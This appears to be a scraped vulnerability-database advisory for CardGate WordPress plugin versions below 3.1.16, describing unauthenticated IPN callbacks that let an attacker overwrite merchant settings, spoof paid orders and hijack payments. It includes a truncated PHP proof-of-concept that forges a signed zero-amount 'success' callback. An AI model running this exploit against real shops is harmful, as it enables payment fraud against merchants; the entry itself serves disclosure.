Lucene search

K
wpvulndbGeekHackWPVDB-ID:77B9B62E-E51E-4895-A9E5-8E2C979F2E21
HistoryFeb 22, 2020 - 12:00 a.m.

CardGate < 3.1.16 - Unauthorised Payments Hijacking and Order Status Spoofing

2020-02-2200:00:00
GeekHack
wpscan.com
5

0.065 Low

EPSS

Percentile

93.8%

Lack of origin authentication (CWE-346) at IPN callback processing function allow (even unauthorized) attacker to remotely replace critical plugin settings (merchant id, secret key etc) with known to him and therefore bypass payment process (eg. spoof order status by manually sending IPN callback request with a valid signature but without real payment) and/or receive all subsequent payments (on behalf of the store).

PoC

$REQUEST[‘testmode’], ‘reference’ => random_int(10000000000, 99999999999) . ORDER, ‘transaction’ => ‘T’ . str_pad(time(), 11, random_int(0, 9)), ‘currency’ => ‘’, ‘amount’ => 0, ‘status’ => ‘success’, ‘code’ => 200 ]; $payload[‘hash’] = md5( (!empty($payload[‘testmode’]) ? ‘TEST’ : ‘’) . $payload[‘transaction’] . $payload[‘currency’] . $payload[‘amount’] . $payload[‘reference’] . $payload[‘code’] . $aConfigData[‘site_key’] ); $response = doRequest(TARGET . ‘/?cgp_notify=true’, $payload); if ($response == $payload[‘transaction’] . ‘.’ . $payload[‘code’]) { die($aConfigData[‘merchant’] . ‘.’ . $aConfigData[‘site_id’] . ‘.200’); } else { throw new Exception(“Unable to spoof order status, but merchant settings was updated successfully ($response)”); } } else { die($aConfigData[‘merchant’] . ‘.’ . $aConfigData[‘site_id’] . ‘.200’); } } else { throw new Exception(“It seems target is not vulnerable ($response)”); } } catch (\Exception $oException) { die(htmlspecialchars($oException_->getMessage())); } }

CPENameOperatorVersion
cardgatelt3.1.16

0.065 Low

EPSS

Percentile

93.8%